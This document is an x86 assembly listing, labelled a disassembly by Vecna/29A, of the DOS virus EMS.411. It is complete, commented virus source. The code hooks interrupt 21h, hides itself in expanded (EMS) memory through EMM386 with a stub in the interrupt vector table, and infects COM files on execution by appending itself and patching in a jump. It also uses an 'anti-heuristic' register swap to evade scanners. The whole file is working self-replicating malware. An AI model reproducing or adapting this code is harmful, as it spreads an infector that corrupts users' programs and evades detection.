

; EMS.411 Virus
; Dissassembly by Vecna/29A

.model tiny
.code
.386p
org 0

VirusStart:
       jmp RealStart                   ; jump to real start of virus

HostCode:
       int 20h                         ; code of the start of the host is
       nop                             ; stored here

EMM    db 'EMMXXXX0'

InfectJump:
       db 0e9h                         ; this jump is written to begin
WhereIAm dw 0                          ; of file

LowMemCode:
       pushf
       cmp byte ptr cs:[InUse-LowMemCode], 0
       jnz Int21InUse                  ; if we're using int21, the bit is set
       pusha
       mov ax, 4400h
       xor bx, bx
       mov dx, cs:[Page_-LowMemCode]
       int 67h                         ; map our page
       popa
       popf
       db 09ah                         ; call our int21 handler in the EMS
       dw offset Int21Handler
PageFrame dw 0000h
       pusha
       pushf
       mov ax, 4400h
       mov bx, 0FFFFh
       mov dx, cs:[Page_-LowMemCode]
       int 67h                         ; unmap out page
       mov bp, sp
       mov ax, [bp+0]                  ; get flag status after exec
       mov [bp+16h], ax                ; and put in the caller stack
       popf
       popa
       iret

Page_  dw 0                            ; number of our page

InUse  db 0                            ; this byte is set if we are using
                                       ; the int21
Int21InUse:
       popf
       db 0EAh                         ; jump to real int21
Old21:
       dd 0

Int21Handler:
       pushf
       xchg ax, dx                     ; anti-heuristic
       cmp dx, 4B00h
       jz Infect                       ; infect on execute only
       xchg ax, dx
       call dword ptr cs:[Old21]       ; do real call
       retf

Infect:
       popf
       call ToggleFlag                 ; set flag warning we using int 21
       xchg ax, dx
       push ds
       push dx
       pushf
       call dword ptr cs:[Old21]       ; execute original function first
       pushf
       pusha
       push ds
       mov bp, sp
       lds dx, [bp+14h]                ; load DS:DX from the saved copy in
       mov ax, 3D02h                   ; the stack, and open the file R/W
       int 21h
       xchg ax, bx
       mov ah, 3Fh
       mov cx, 3
       push cs
       pop ds
       mov dx, offset HostCode         ; read 3 bytes from file to our buffer
       int 21h
       mov ax, 4202h
       cwd
       xor cx, cx
       int 21h                         ; seek to the end of the file
       sub ax, 3                       ; sub 3 for the jump
       push ax
       sub ax, (offset VEnd-offset VirusStart)
       cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
       jz AlreadyInfected              ; point to same place than we used to
       mov ax, 'ZM'                    ; be? If yes, is already infected
       cmp ax, word ptr ds:[HostCode]
       jz AlreadyInfected              ; file start with MZ (EXE file) ??
       pop ax
       mov word ptr ds:[WhereIAm], ax  ; save position for jump
       mov ah, 40h
       mov cx, (offset VEnd-offset VirusStart)
       cwd
       int 21h                         ; write virus code to end of file
       mov ax, 4200h
       xor cx, cx
       cwd
       int 21h                         ; seek to start of file
       mov ah, 40h
       mov cx, 3
       mov dx, offset InfectJump
       int 21h                         ; write a jump to virus code
       jmp short InfectionOk

AlreadyInfected:
       add sp, 2                       ; fix the stack

InfectionOk:
       mov ah, 3Eh                     ; close file
       int 21h
       call ToggleFlag                 ; we're not using int21 anymore
       pop ds
       popa
       push bp
       mov bp, sp
       lea sp, [bp+8]                  ; get returned AX and FLAGS
       push ax
       mov ax, [bp+2]
       push ax
       popf                            ; put they in right place
       pop ax
       mov bp, [bp+0]
       retf

ToggleFlag:
       push ax
       push ds
       mov ax, 24h                     ; set flag of int21 in use
       mov ds, ax
       xor byte ptr ds:[InUse-offset LowMemCode], 1
       pop ds
       pop ax
       retn

RealStart:
       pusha
       mov bx, word ptr cs:[101h]      ; 101 hold the offset part of the jump
       add bx, 103h                    ; that we put in the start of host
       call Install
       mov di, si
       lea si, [bx+3]
       movsb                           ; restore old code
       movsw
       popa
       jmp si                          ; jump to start of file

Install:
       push bx
       push si
       push es
       push ds
       push bx
       push bx
       push ds
       mov ax, 24h                     ; check if we are already in 24:0
       mov ds, ax
       cmp word ptr ds:[0], 2E9Ch      ; PUSHF/CS:
       pop ds
       jz AlreadyInstalled

       lea si, [bx+offset EMM]
       mov ax, 3567h
       int 21h                         ; get segment of EMM386

       mov di, 0Ah
       mov cx, 8
       rep cmpsb                       ; is really EMM386?
       jnz AlreadyInstalled

       mov ah, 42h
       int 67h                         ; Number of pages
       cmp bx, 1
       jl AlreadyInstalled             ; less than 1, abort install

       mov ah, 41h
       int 67h                         ; get page frame

       pop si
       mov cs:[si+PageFrame], bx       ; save it
       mov es, bx

       mov ah, 43h
       mov bx, 1
       int 67h                         ; allocate 1 page

       mov cs:[si+Page_], dx
       mov ax, 4400h
       mov bx, 0
       int 67h                         ; map memory

       mov ax, 3521h
       int 21h                         ; get adress of int21

       mov word ptr cs:[si+Old21], bx  ; save it
       mov word ptr cs:[si+Old21+2], es

       mov es, cs:[si+offset PageFrame]
       xor di, di
       mov cx, 19Bh                    ; copy our code to our page
       rep movsb

       mov ax, 4400h
       mov bx, 0FFFFh
       int 67h                         ; unmap memory

       mov di, 24h
       mov bx, di
       mov es, di
       xor di, di
       pop si
       add si, 11h
       mov cx, offset Int21Handler-offset LowMemCode
       rep movsb                       ; move int21 handler to IVT

       mov ds, bx
       xor dx, dx
       mov ax, 2521h                   ; point int21 to 24:0
       int 21h

       jmp InstalledOk

AlreadyInstalled:
       add sp, 4                       ; fix stack if error

InstalledOk:
       pop ds
       pop es
       pop si
       pop bx
       ret                             ; return

VEnd   = $

End    VirusStart

  